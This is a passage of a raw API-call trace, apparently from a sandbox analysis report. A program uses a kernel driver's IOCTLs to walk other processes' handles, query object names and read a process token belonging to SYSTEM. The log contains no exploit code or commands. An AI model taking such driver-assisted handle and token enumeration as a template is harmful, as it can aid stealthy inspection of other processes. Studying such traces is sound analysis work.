Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030581b0, HandleInformation=0x0) returned 0x0 [0136.412] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.412] PsReleaseProcessExitSynchronization () returned 0x2 [0136.413] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0136.413] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.413] ObfDereferenceObject (Object=0xfffffa80030581b0) returned 0x1 [0136.413] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.413] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.413] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.413] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.413] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.413] PsAcquireProcessExitSynchronization () returned 0x0 [0136.413] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0) [0136.413] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003093dd0, HandleInformation=0x0) returned 0x0 [0136.413] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.413] PsReleaseProcessExitSynchronization () returned 0x2 [0136.413] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0136.413] ObQueryNameString (in: Object=0xfffffa8003093dd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.413] ObfDereferenceObject (Object=0xfffffa8003093dd0) returned 0x1 [0136.413] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.413] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.413] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.413] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.413] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.413] PsAcquireProcessExitSynchronization () returned 0x0 [0136.413] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0) [0136.413] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003093b30, HandleInformation=0x0) returned 0x0 [0136.413] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.413] PsReleaseProcessExitSynchronization () returned 0x2 [0136.413] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0136.413] ObQueryNameString (in: Object=0xfffffa8003093b30, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.413] ObfDereferenceObject (Object=0xfffffa8003093b30) returned 0x2 [0136.413] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.414] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.414] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.414] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.414] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.414] PsAcquireProcessExitSynchronization () returned 0x0 [0136.414] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0) [0136.414] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030939e0, HandleInformation=0x0) returned 0x0 [0136.414] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.414] PsReleaseProcessExitSynchronization () returned 0x2 [0136.414] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0136.414] ObQueryNameString (in: Object=0xfffffa80030939e0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.414] ObfDereferenceObject (Object=0xfffffa80030939e0) returned 0x1 [0136.414] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.414] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.414] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.414] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.414] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.414] PsAcquireProcessExitSynchronization () returned 0x0 [0136.414] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0) [0136.414] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003093890, HandleInformation=0x0) returned 0x0 [0136.414] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.414] PsReleaseProcessExitSynchronization () returned 0x2 [0136.414] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0136.414] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.414] ObfDereferenceObject (Object=0xfffffa8003093890) returned 0x1 [0136.414] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.414] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.414] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.414] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.414] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.414] PsAcquireProcessExitSynchronization () returned 0x0 [0136.414] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0) [0136.414] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002d50dd0, HandleInformation=0x0) returned 0x0 [0136.415] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.415] PsReleaseProcessExitSynchronization () returned 0x2 [0136.415] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0136.415] ObQueryNameString (in: Object=0xfffffa8002d50dd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.415] ObfDereferenceObject (Object=0xfffffa8002d50dd0) returned 0x2 [0136.415] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.415] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.415] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.415] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.415] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.415] PsAcquireProcessExitSynchronization () returned 0x0 [0136.415] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0) [0136.415] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003093c80, HandleInformation=0x0) returned 0x0 [0136.415] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.415] PsReleaseProcessExitSynchronization () returned 0x2 [0136.415] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0136.415] ObQueryNameString (in: Object=0xfffffa8003093c80, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.415] ObfDereferenceObject (Object=0xfffffa8003093c80) returned 0x1 [0136.415] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.415] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.415] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.415] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.415] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.415] PsAcquireProcessExitSynchronization () returned 0x0 [0136.415] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0) [0136.415] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002d50c80, HandleInformation=0x0) returned 0x0 [0136.415] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.415] PsReleaseProcessExitSynchronization () returned 0x2 [0136.415] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0136.415] ObQueryNameString (in: Object=0xfffffa8002d50c80, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.415] ObfDereferenceObject (Object=0xfffffa8002d50c80) returned 0x1 [0136.415] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.415] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.415] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.415] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.415] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.416] PsAcquireProcessExitSynchronization () returned 0x0 [0136.416] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0) [0136.416] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002fc1a80, HandleInformation=0x0) returned 0x0 [0136.416] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.416] PsReleaseProcessExitSynchronization () returned 0x2 [0136.416] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0136.416] ObQueryNameString (in: Object=0xfffffa8002fc1a80, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.416] ObfDereferenceObject (Object=0xfffffa8002fc1a80) returned 0x2 [0136.416] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.416] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.416] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.416] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.416] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.416] PsAcquireProcessExitSynchronization () returned 0x0 [0136.416] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0) [0136.416] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002fc1bd0, HandleInformation=0x0) returned 0x0 [0136.416] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.416] PsReleaseProcessExitSynchronization () returned 0x2 [0136.416] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0136.416] ObQueryNameString (in: Object=0xfffffa8002fc1bd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.416] ObfDereferenceObject (Object=0xfffffa8002fc1bd0) returned 0x2 [0136.416] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.416] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.416] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.416] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0136.416] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.416] PsAcquireProcessExitSynchronization () returned 0x0 [0136.416] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0) [0136.416] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003212420, HandleInformation=0x0) returned 0x0 [0136.416] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.416] PsReleaseProcessExitSynchronization () returned 0x2 [0136.416] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0136.416] ObQueryNameString (in: Object=0xfffffa8003212420, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.416] ObfDereferenceObject (Object=0xfffffa8003212420) returned 0x2 [0136.417] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.417] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.417] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.417] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.417] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.417] PsAcquireProcessExitSynchronization () returned 0x0 [0136.417] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0) [0136.417] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002fc2070, HandleInformation=0x0) returned 0x0 [0136.417] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.417] PsReleaseProcessExitSynchronization () returned 0x2 [0136.417] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0136.417] ObQueryNameString (in: Object=0xfffffa8002fc2070, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.417] ObfDereferenceObject (Object=0xfffffa8002fc2070) returned 0x2 [0136.417] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.417] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.417] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.417] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.417] PsLookupProcessByProcessId (in: ProcessId=0x1d8, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.417] PsAcquireProcessExitSynchronization () returned 0x0 [0136.417] KeStackAttachProcess (in: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800304b4e0, ApcState=0xfffff880054735d0) [0136.417] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002fbd540, HandleInformation=0x0) returned 0x0 [0136.417] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.417] PsReleaseProcessExitSynchronization () returned 0x2 [0136.417] ObfDereferenceObject (Object=0xfffffa800304b4e0) returned 0x76 [0136.417] ObQueryNameString (in: Object=0xfffffa8002fbd540, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.417] ObfDereferenceObject (Object=0xfffffa8002fbd540) returned 0x2 [0136.417] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.417] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.417] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e0) returned 0xc0 [0136.417] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.417] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8003055910, HandleInformation=0x0) returned 0x0 [0136.417] ObOpenObjectByPointer (in: Object=0xfffffa8003055910, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000b74) returned 0x0 [0136.418] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdd [0136.418] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000b74, DesiredAccess=0x8, TokenHandle=0xfffffa80021959c0 | out: TokenHandle=0xfffffa80021959c0*=0xc8) returned 0x0 [0136.418] ZwClose (Handle=0xffffffff80000b74) returned 0x0 [0136.418] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.418] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.418] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.419] CloseHandle (hObject=0xc8) returned 1 [0136.419] CloseHandle (hObject=0xc0) returned 1 [0136.419] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.419] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.419] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.419] PsAcquireProcessExitSynchronization () returned 0x0 [0136.419] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.419] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800302d760, HandleInformation=0x0) returned 0x0 [0136.419] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.419] PsReleaseProcessExitSynchronization () returned 0x2 [0136.419] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.419] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.419] ObfDereferenceObject (Object=0xfffffa800302d760) returned 0x1 [0136.419] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.419] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.419] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.420] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0136.420] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.420] PsAcquireProcessExitSynchronization () returned 0x0 [0136.420] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054735d0) [0136.420] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089fcde0, HandleInformation=0x0) returned 0x0 [0136.420] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.420] PsReleaseProcessExitSynchronization () returned 0x2 [0136.420] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xdb [0136.420] ObQueryNameString (in: Object=0xfffff8a0089fcde0, ObjectNameInfo=0xfffffa8001ffa044, 